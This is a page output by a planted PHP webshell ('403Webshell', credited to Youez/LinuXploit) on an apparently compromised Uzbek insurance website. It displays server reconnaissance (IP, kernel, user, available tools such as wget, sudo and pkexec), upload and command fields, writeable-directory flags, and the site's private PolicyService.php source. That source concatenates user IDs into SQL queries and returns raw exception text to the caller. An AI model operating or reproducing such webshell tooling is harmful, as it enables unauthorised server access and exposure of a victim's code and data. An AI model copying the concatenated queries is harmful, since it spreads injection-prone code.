403Webshell
Server IP : 95.46.96.79  /  Your IP : 216.73.216.84
Web Server : Apache/2.4.41 (Ubuntu)
System : Linux zaimer.uz 5.4.0-216-generic #236-Ubuntu SMP Fri Apr 11 19:53:21 UTC 2025 x86_64
User : akslabs_uz_usr ( 1001)
PHP Version : 7.4.3-4ubuntu2.29
Disable Function : pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_get_handler,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,pcntl_async_signals,pcntl_unshare,
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : ON
Directory :  /var/www/sugurtatrip__usr95/data/www/sugurtatrip.uz/apiv1/user/Services/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /var/www/sugurtatrip__usr95/data/www/sugurtatrip.uz/apiv1/user/Services/PolicyService.php
<?php

// require_once __DIR__ . '/../Core/HttpClient.php';
require_once __DIR__ . '/../database/Database.php';
// require_once __DIR__ . '/../Core/Logger.php';
require_once __DIR__ . '/../Models/ErrorCodes.php';
require_once __DIR__ . '/../Models/ErrorMessages.php';

class PolicyService
{
    private $allCountries;
    public function __construct() {
        $this->allCountries = json_decode(file_get_contents(__DIR__ . '/../Data/Countries.json'), true);
    }

    private function formatCountries($policy) {
        $formattedCountries = [];
        if ($policy['partner_id'] == 2) {
            $formattedCountries = $this->mapKapitalCountries(json_decode($policy['countries']));
        } else if ($policy['partner_id'] == 3) {
            $formattedCountries = $this->mapApexCountries(json_decode($policy['countries']));
        } else if ($policy['partner_id'] == 4) {
            $formattedCountries = $this->mapGrossCountries(json_decode($policy['countries']));
        }

        return $formattedCountries;
    }

    private function mapKapitalCountries($countries) {
        $kapitalCountries = json_decode(file_get_contents(__DIR__ . '/../Data/KapitalCountries.json'), true);
        $formattedCountries = [];
        foreach ($countries as $country) {
            $kapitalCountry = array_filter($kapitalCountries, function($kapitalCountry) use ($country) {
                return $kapitalCountry['id'] == $country;
            });
            $kapitalCountry = reset($kapitalCountry);
            $formattedCountries[] = $kapitalCountry['kod'];
        }

        $formattedCountries = array_map(function($country) {
            $foundedCountry = array_filter($this->allCountries, function($allCountry) use ($country) {
                return $allCountry['alpha3'] == $country;
            });
            $foundedCountry = reset($foundedCountry );
            return $foundedCountry['name'];
        }, $formattedCountries);

        return $formattedCountries;
    }

    private function mapApexCountries($countries) {
        $formattedCountries = [];
        foreach ($countries as $country) {
            $foundedCountry = array_filter($this->allCountries, function($allCountry) use ($country) {
                return $allCountry['alpha2'] == $country->iso;
            });
            $foundedCountry = $foundedCountry ? reset($foundedCountry) : null;
            $formattedCountries[] = $foundedCountry ? $foundedCountry['name'] : $country->iso;
        };

        return $formattedCountries;
    }

    private function mapGrossCountries($countries) {
        $formattedCountries = [];
        foreach ($countries as $country) {
            $foundedCountry = array_filter($this->allCountries, function($allCountry) use ($country) {  
                return $allCountry['alpha2'] == $country;
            });
            $foundedCountry = reset($foundedCountry);
            $formattedCountries[] = $foundedCountry['name'];
        }

        return $formattedCountries;
    }

    public function getPolicies($user) {
        try {
            $db = new Database();
            $query = "SELECT * FROM policies WHERE client_id = " . $user['userId']  . " ORDER BY id DESC";
            $db_data = $db->query($query);

            if ($db_data && $db_data->num_rows > 0) {
                $policies = [];
                while ($row = $db_data->fetch_assoc()) {
                    $row['countries'] = $this->formatCountries($row);
                    $policies[] = $row;
                }
                return [
                    'success' => true,
                    'data' => $policies
                ];
            } else {
                return [
                    'success' => true,
                    'data' => []
                ];
            }
        } catch (Exception $e) {
            return [
                'success' => false,
                'error' => ErrorCodes::SERVER_ERROR,
                'error_message' => ErrorMessages::SERVER_ERROR . $e->getMessage()
            ];
        } finally {
            if (isset($db)) {
                $db->close();
            }
        }
    }
    public function getPolicy($data, $user) {
        try {
            $db = new Database();
            //add please statement for client_id = $user
            $query = "SELECT * FROM policies WHERE id = " . intval($data['id']) . " AND client_id = " . $user['userId'];
            $db_data = $db->query($query);

            if ($db_data && $db_data->num_rows > 0) {
                $policy = $db_data->fetch_assoc();
                return [
                    'success' => true,
                    'data' => $policy
                ];
            } else {
                return [
                    'success' => false,
                    'error' => ErrorCodes::POLICY_NOT_FOUND,
                    'error_message' => ErrorMessages::POLICY_NOT_FOUND
                ];
            }
        } catch (Exception $e) {
            return [
                'success' => false,
                'error' => ErrorCodes::SERVER_ERROR,
                'error_message' => ErrorMessages::SERVER_ERROR . $e->getMessage()
            ];
        } finally {
            if (isset($db)) {
                $db->close();
            }
        }
    }
}

Youez - 2016 - github.com/yon3zu
LinuXploit